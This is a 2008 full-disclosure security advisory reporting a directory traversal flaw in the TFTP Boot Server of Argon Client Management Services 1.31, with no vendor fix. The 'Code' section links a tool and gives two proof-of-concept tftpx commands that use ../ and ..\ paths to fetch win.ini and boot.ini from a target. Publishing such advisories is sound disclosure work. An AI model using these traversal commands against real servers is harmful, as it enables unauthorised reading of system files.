full-disclosure - Directory traversal in Argon Client Management Services 1.31

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Message-Id: <20080310224433.a855b33d.aluigi@autistici.org>
Date: Mon, 10 Mar 2008 22:44:33 +0100
From: Luigi Auriemma <aluigi@...istici.org>
To: bugtraq@...urityfocus.com, news@...uriteam.com,
	full-disclosure@...ts.grok.org.uk, vuln@...unia.com,
	packet@...ketstormsecurity.org
Subject: Directory traversal in Argon Client Management
	Services 1.31


#######################################################################

                             Luigi Auriemma

Application:  Argon Client Management Services
              http://www.argontechnology.com/product.aspx/cid1/43
Versions:     <= 1.31 (TFTP Boot Server <= 2.5.3.1)
Platforms:    Windows
Bug:          directory traversal in TFTP Boot Server
Exploitation: remote
Date:         08 Mar 2008
Author:       Luigi Auriemma
              e-mail: aluigi@...istici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


>>From vendor's website:
"Client Management Services® (CMS) includes all the server-based
services (PXE Server, BOOTP Server) and administration tools needed to
setup an open network boot environment. You can deploy your favorite
third party client management tools in a pre-OS booting phase."


#######################################################################

======
2) Bug
======


The TFTP Boot Server is affected by a classical directory traversal
vulnerability which allows an attacker to download (upload is not
allowed) any file from the disk where is located the tftp folder.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/tftpx.zip

  tftpx SERVER ../../windows/win.ini none
  tftpx SERVER ..\boot.ini none


#######################################################################

======
4) Fix
======


No fix


#######################################################################


--- 
Luigi Auriemma
http://aluigi.org

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